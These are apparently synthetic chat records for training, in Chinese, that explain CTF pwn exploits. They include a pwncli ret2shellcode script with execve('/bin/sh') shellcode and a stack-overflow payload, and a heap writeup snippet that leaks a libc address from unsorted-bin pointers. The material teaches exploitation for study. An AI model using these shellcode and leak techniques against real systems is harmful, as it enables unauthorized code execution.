[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2shellcode/shellcode_limit/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2shellcode/shellcode_limit/exp_cli.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x6010a0`, `0x68732f6e69622f`, `0x68732f2f6e69622f`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

shellcode='''
xor esi,esi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al,59
cdq
syscall
'''
shellcode='''
xor esi,esi
mov rbx,0x68732f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
cdq
syscall
'''

#shellcode=b"\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#shellcode=b"\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
pay1=asm(shellcode)
#pay1=shellcode
print(len(pay1))
sl(pay1)

pay2=b'a'*18+p64(0x6010a0)
sl(pay2)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「1. 信息泄露」。
资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 1. 信息泄露

`add_chunk` 每次只使用全局递增的 `chunk_index` 作为新 chunk 下标，不会优先复用被 delete 的表项。释放一个 0x500 chunk 后，再申请同大小 chunk 会拿回同一块堆内存，但 `read` 只要读到我们发送的 8 个 `a` 就返回，不会清空后面的旧数据。

因此新 chunk 的前 8 字节被覆盖为 `aaaaaaaa`，后面仍保留 unsorted bin 的 `fd / bk` 指针。调用 `show` 使用 `puts(ptr[idx])` 输出字符串，就能在 `aaaaaaaa` 后泄露 libc 地址：

```python
delete(2)
add(0x500, b'a' * 8)
show(5)
io.recvuntil(b'a' * 8)
leak = u64(io.recvn(6).ljust(8, b'\x00'))
libc_base = leak - 0x1ecbe0
```

这里 `0x1ecbe0` 是题目附带 `libc-2.31.so` 中 unsorted bin 泄露指针相对 libc base 的偏移。